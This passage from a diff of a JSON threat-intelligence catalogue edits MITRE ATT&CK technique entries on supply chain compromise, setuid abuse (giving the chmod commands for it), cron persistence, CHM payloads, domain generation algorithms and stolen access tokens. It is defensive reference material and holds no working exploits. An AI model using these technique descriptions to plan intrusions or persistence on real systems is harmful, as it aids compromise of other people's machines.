including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)", "meta": { "external_id": "CAPEC-439", "kill_chain": [ "mitre-attack:initial-access" ], - "mitre_data_sources": [ - "File: File Metadata", - "Sensor Health: Host Status" - ], "mitre_platforms": [ "Linux", "Windows", @@ -14148,14 +12756,6 @@ "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).", "meta": { "external_id": "T1166", - "kill_chain": [ - "mitre-attack:privilege-escalation", - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "http://man7.org/linux/man-pages/man2/setuid.2.html", "https://attack.mitre.org/techniques/T1166", @@ -14178,14 +12778,6 @@ "description": "On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.", "meta": { "external_id": "T1168", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "http://www.thesafemac.com/new-signed-malware-called-janicab/", "https://attack.mitre.org/techniques/T1168", @@ -14212,13 +12804,6 @@ "description": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.", "meta": { "external_id": "T1196", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1196", "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/", @@ -14257,13 +12842,6 @@ "description": "Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nAdversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)", "meta": { "external_id": "T1223", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1223", "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk", @@ -14422,15 +13000,7 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" ] }, - "related": [ - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "value": "Access Contact List - T1432" }, @@ -14452,24 +13022,6 @@ "uuid": "2de38279-043e-47e8-aaad-1b07af6d0790", "value": "Network Service Scanning - T1423" }, - { - "description": "Adversaries may compress and/or encrypt data that is collected prior to exfiltration. Compressing data can help to obfuscate its contents and minimize use of network resources. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender. \n\n \n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, programming library, or custom algorithm. ", - "meta": { - "external_id": "T1532", - "kill_chain": [ - "mitre-mobile-attack:collection" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1532" - ] - }, - "uuid": "e3b936a4-6321-4172-9114-038a866362ec", - "value": "Archive Collected Data - T1532" - }, { "description": "Malicious applications may attempt to detect their operating environment prior to fully executing their payloads. These checks are often used to ensure the application is not running within an analysis environment such as a sandbox used for application vetting, security research, or reverse engineering. \nAdversaries may use many different checks such as physical sensors, location, and system properties to fingerprint emulators and sandbox environments.(Citation: Talos Gustuff Apr 2019)(Citation: ThreatFabric Cerberus)(Citation: Xiao-ZergHelper)(Citation: Cyberscoop Evade Analysis January 2019) Adversaries may access `android.os.SystemProperties` via Java reflection to obtain specific system information.(Citation: Github Anti-emulator) Standard values such as phone number, IMEI, IMSI, device IDs, and device drivers may be checked against default signatures of common sandboxes.(Citation: Sophos Anti-emulation)\n", "meta": { @@ -14492,15 +13044,7 @@ "https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html" ] }, - "related": [ - { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", "value": "Evade Analysis Environment - T1523" }, @@ -14534,25 +13078,6 @@ "uuid": "248cbfdd-fec4-451b-b2a9-e46d4b268e30", "value": "Fast Flux DNS - T1325" }, - { - "description": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted applications. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features include: an app being allowed to run because it is signed by a valid code signing certificate; an OS prompt alerting the user that an app came from an untrusted source; or getting an indication that you are about to connect to an untrusted site. The method adversaries use will depend on the specific mechanism they seek to subvert. ", - "meta": { - "external_id": "STA-7", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1632", - "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-7.html" - ] - }, - "uuid": "79cb02f4-ac4e-4335-8b51-425c9573cce1", - "value": "Subvert Trust Controls - T1632" - }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1326).\n\nDomain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)", "meta": { @@ -14627,7 +13152,15 @@ "https://attack.mitre.org/techniques/T1442" ] }, - "related": [], + "related": [ + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "e30cc912-7ea1-4683-9219-543b86cbdec9", "value": "Fake Developer Accounts - T1442" }, @@ -14646,9 +13179,9 @@ "value": "Conduct active scanning - T1254" }, { - "description": "Adversaries may attempt to get detailed information about a device’s operating system and hardware, including versions, patches, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1426) during automated discovery to shape follow-on behaviors, including whether or not to fully infects the target and/or attempts specific actions. \n\n \n\nOn Android, much of this information is programmatically accessible to applications through the `android.os.Build` class. (Citation: Android-Build) iOS is much more restrictive with what information is visible to applications. Typically, applications will only be able to query the device model and which version of iOS it is running. ", + "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture.\n\nOn Android, much of this information is programmatically accessible to applications through the android.os.Build class.(Citation: Android-Build)\n\nOn iOS, techniques exist for applications to programmatically access this information.(Citation: StackOverflow-iOSVersion)", "meta": { - "external_id": "APP-12", + "external_id": "T1426", "kill_chain": [ "mitre-mobile-attack:discovery" ], @@ -14657,31 +13190,14 @@ "iOS" ], "refs": [ + "http://stackoverflow.com/questions/7848766/how-can-we-programmatically-detect-which-ios-version-is-device-running-on", "https://attack.mitre.org/techniques/T1426", - "https://developer.android.com/reference/android/os/Build", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-12.html" + "https://developer.android.com/reference/android/os/Build" ] }, "uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "value": "System Information Discovery - T1426" }, - { - "description": "Adversaries may establish persistence using system mechanisms that trigger execution based on specific events. Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities. \n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via automatically and repeatedly executing malicious code. After gaining access to a victim’s system, adversaries may create or modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked. ", - "meta": { - "external_id": "T1624", - "kill_chain": [ - "mitre-mobile-attack:persistence" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1624" - ] - }, - "uuid": "d446b9f0-06a9-4a8d-97ee-298cfee84f14", - "value": "Event Triggered Execution - T1624" - }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1246).\n\nSupply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)", "meta": { @@ -14729,17 +13245,36 @@ "Windows" ], "refs": [ + "http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/", "https://adsecurity.org/?p=1588", "https://attack.mitre.org/techniques/T1482", "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)", - "https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944", "https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/" ] }, "uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", "value": "Domain Trust Discovery - T1482" }, + { + "description": "Adversaries may attempt to exploit enterprise servers, workstations, or other resources over the network. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).", + "meta": { + "external_id": "APP-32", + "kill_chain": [ + "mitre-mobile-attack:lateral-movement" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1428", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html" + ] + }, + "uuid": "22379609-a99f-4a01-bd7e-70f3e105859d", + "value": "Exploit Enterprise Resources - T1428" + }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1249).\n\nSocial Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)", "meta": { @@ -14774,14 +13309,6 @@ "description": "Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "meta": { "external_id": "T1492", - "kill_chain": [ - "mitre-attack:impact" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1492", "https://content.fireeye.com/apt/rpt-apt38", @@ -14801,7 +13328,7 @@ "value": "Stored Data Manipulation - T1492" }, { - "description": "Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)", + "description": "Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)", "meta": { "external_id": "T1525", "kill_chain": [ @@ -14809,7 +13336,6 @@ ], "mitre_data_sources": [ "Image: Image Creation", - "Image: Image Metadata", "Image: Image Modification" ], "mitre_platforms": [ @@ -14854,24 +13380,6 @@ "uuid": "e24fcba8-2557-4442-a139-1ee2f2e784db", "value": "Cloud Service Discovery - T1526" }, - { - "description": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur over time. \n\nThere are many ways an adversary may hijack the flow of execution. A primary way is by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs or resources, such as file directories, could also be poisoned to include malicious payloads.", - "meta": { - "external_id": "APP-27", - "kill_chain": [ - "mitre-mobile-attack:persistence" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1625", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html" - ] - }, - "uuid": "670a4d75-103b-4b14-8a9e-4652fa795edd", - "value": "Hijack Execution Flow - T1625" - }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1265).\n\nSupply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)", "meta": { @@ -14906,14 +13414,6 @@ "description": "Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\n", "meta": { "external_id": "T1527", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:lateral-movement" - ], - "mitre_platforms": [ - "SaaS", - "Office 365" - ], "refs": [ "https://attack.mitre.org/techniques/T1527", "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/", @@ -15082,15 +13582,7 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" ] }, - "related": [ - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", "value": "Access Call Log - T1433" }, @@ -15116,7 +13608,15 @@ "https://attack.mitre.org/techniques/T1443" ] }, - "related": [], + "related": [ + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "831e3269-da49-48ac-94dc-948008e8fd16", "value": "Remotely Install Application - T1443" }, @@ -15159,15 +13659,7 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" ] }, - "related": [ - { - "dest-uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "62adb627-f647-498e-b4cc-41499361bacb", "value": "Access Calendar Entries - T1435" }, @@ -15202,15 +13694,7 @@ "https://www.fireeye.com/blog/threat-research/2014/08/ssl-vulnerabilities-who-listens-when-android-applications-talk.html" ] }, - "related": [ - { - "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "d731c21e-f27d-4756-b418-0e2aaabd6d63", "value": "Manipulate Device Communication - T1463" }, @@ -15233,37 +13717,10 @@ "uuid": "3911658a-6506-4deb-9ab4-595a51ae71ad", "value": "Commonly Used Port - T1436" }, - { - "description": "Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the mobile device, and often the results of those commands, will be embedded within the protocol traffic between the mobile device and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS.", - "meta": { - "external_id": "APP-29", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1437", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html" - ] - }, - "uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "value": "Application Layer Protocol - T1437" - }, { "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", "meta": { "external_id": "T1483", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html", "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf", @@ -15290,18 +13747,31 @@ "uuid": "54456690-84de-4538-9101-643e26437e09", "value": "Domain Generation Algorithms - T1483" }, + { + "description": "Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.", + "meta": { + "external_id": "APP-30", + "kill_chain": [ + "mitre-mobile-attack:command-and-control", + "mitre-mobile-attack:exfiltration" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1438", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html" + ] + }, + "related": [], + "uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "value": "Alternate Network Mediums - T1438" + }, { "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "meta": { "external_id": "T1493", - "kill_chain": [ - "mitre-attack:impact" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1493", "https://content.fireeye.com/apt/rpt-apt38", @@ -15356,12 +13826,6 @@ "description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)", "meta": { "external_id": "T1536", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "IaaS" - ], "refs": [ "https://attack.mitre.org/techniques/T1536", "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots", @@ -15420,25 +13884,6 @@ "uuid": "e49920b0-6c54-40c1-9571-73723653205f", "value": "Cloud Service Dashboard - T1538" }, - { - "description": "Adversaries may utilize standard operating system APIs to collect data from permission-backed data stores on a device, such as the calendar or contact list. These permissions need to be declared ahead of time. On Android, they must be included in the application’s manifest. On iOS, they must be included in the application’s `Info.plist` file. \n\n \n\nIn almost all cases, the user is required to grant access to the data store that the application is trying to access. In recent OS versions, vendors have introduced additional privacy controls for users, such as the ability to grant permission to an application only while the application is being actively used by the user. \n\n \n\nIf the device has been jailbroken or rooted, an adversary may be able to access [Protected User Data](https://attack.mitre.org/techniques/T1636) without the user’s knowledge or approval. ", - "meta": { - "external_id": "APP-13", - "kill_chain": [ - "mitre-mobile-attack:collection" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1636", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" - ] - }, - "uuid": "11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e", - "value": "Protected User Data - T1636" - }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1379).\n\nRemovable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)", "meta": { @@ -15468,7 +13913,7 @@ "value": "Spearphishing for Information - T1397" }, { - "description": "Adversaries may transfer tools or other files from an external system onto a compromised device to facilitate follow-on actions. Files may be copied from an external adversary-controlled system through the command and control channel or through alternate protocols with another tool such as FTP.", + "description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or onto the victim’s device.", "meta": { "external_id": "T1544", "kill_chain": [ @@ -15483,18 +13928,12 @@ ] }, "uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", - "value": "Ingress Tool Transfer - T1544" + "value": "Remote File Copy - T1544" }, { "description": "Test", "meta": { "external_id": "T1454", - "kill_chain": [ - "mitre-mobile-attack:collection" - ], - "mitre_platforms": [ - "Android" - ], "refs": [ "https://attack.mitre.org/techniques/T1454" ] @@ -15504,9 +13943,9 @@ "value": "Malicious SMS Message - T1454" }, { - "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images\n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. Targeting may be specific to a desired victim set or malicious software may be distributed to a 